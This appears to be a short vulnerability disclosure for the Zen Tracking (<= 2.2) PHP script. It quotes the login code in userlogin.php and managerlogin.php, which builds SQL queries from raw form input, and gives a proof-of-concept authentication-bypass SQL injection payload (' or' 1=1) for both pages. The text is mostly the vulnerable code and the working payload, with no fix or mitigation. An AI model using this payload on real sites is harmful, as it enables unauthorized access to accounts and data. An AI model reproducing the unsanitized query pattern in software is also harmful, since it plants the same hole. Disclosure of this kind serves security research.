Zen Tracking <= 2.2 (Auth Bypass) SQL Injection Vulnerability

[+] Zen Tracking &#60;= 2.2 (Auth Bypass) SQL Injection Vulnerability [+] Discovered by cr4wl3r &#60;cr4wl3r[!]linuxmail.org&#62; [+] Download : http://scripts.ringsworld.com/calendars/zentimetracking/ [+] Vuln Code : [userlogin.php] if (!empty($_POST[&#39;password&#39;])) { $username =$_POST[&#39;username&#39;]; $password =$_POST[&#39;password&#39;]; dbConnect(); $result1 = mysql_query(&#34;select * from &#34;.$tbluser.&#34; where username=&#39;&#34;. $username .&#34;&#39; and password=&#39;&#34;. $password .&#34;&#39;&#34;. mysql_error()); [+] PoC : [ZenTracking_path]/userlogin.php username: &#39; or&#39; 1=1 Password: &#39; or&#39; 1=1 [+] Vuln Code : [managerlogin.php] if (!empty($_POST[&#39;password&#39;])) { $username =$_POST[&#39;username&#39;]; $password =$_POST[&#39;password&#39;]; dbConnect(); $result1 = mysql_query(&#34;select * from &#34;.$tblmanager.&#34; where username=&#39;&#34;. $username .&#34;&#39; and password=&#39;&#34;. $password .&#34;&#39;&#34;. mysql_error()); [+] PoC : [ZenTracking_path]/managerlogin.php username: &#39; or&#39; 1=1 Password: &#39; or&#39; 1=1